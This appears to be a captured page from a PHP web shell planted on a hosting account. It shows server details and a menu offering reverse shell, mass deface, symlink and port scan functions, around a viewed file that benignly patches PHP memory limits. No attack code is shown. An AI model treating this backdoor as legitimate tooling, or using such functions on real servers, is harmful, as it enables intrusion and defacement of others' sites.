Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscapslaurel
/
Viewing: patch_memory.php
<?php $dir = __DIR__ . '/controllers/'; $files = glob($dir . '*.php'); $count = 0; foreach ($files as $file) { if (str_contains($file, '.backup')) continue; $content = file_get_contents($file); // Find public function exportPdf() or similar $matches = []; if (preg_match_all('/public function (exportPdf|exportGeneralPdf|downloadPdf)\(\)(: void)?\s*\{/', $content, $matches)) { // Let's replace only if it doesn't already have ini_set('memory_limit' $newContent = $content; foreach ($matches[0] as $match) { $replacement = $match . "\n ini_set('memory_limit', '2048M');\n set_time_limit(300);"; // Check if already replaced if (!str_contains($newContent, "ini_set('memory_limit', '2048M');")) { $newContent = str_replace($match, $replacement, $newContent); } } if ($newContent !== $content) { file_put_contents($file, $newContent); echo "Patched: " . basename($file) . "\n"; $count++; } } } echo "Total controllers patched for memory limit: $count\n";
Coded With 💗 by
0x6ick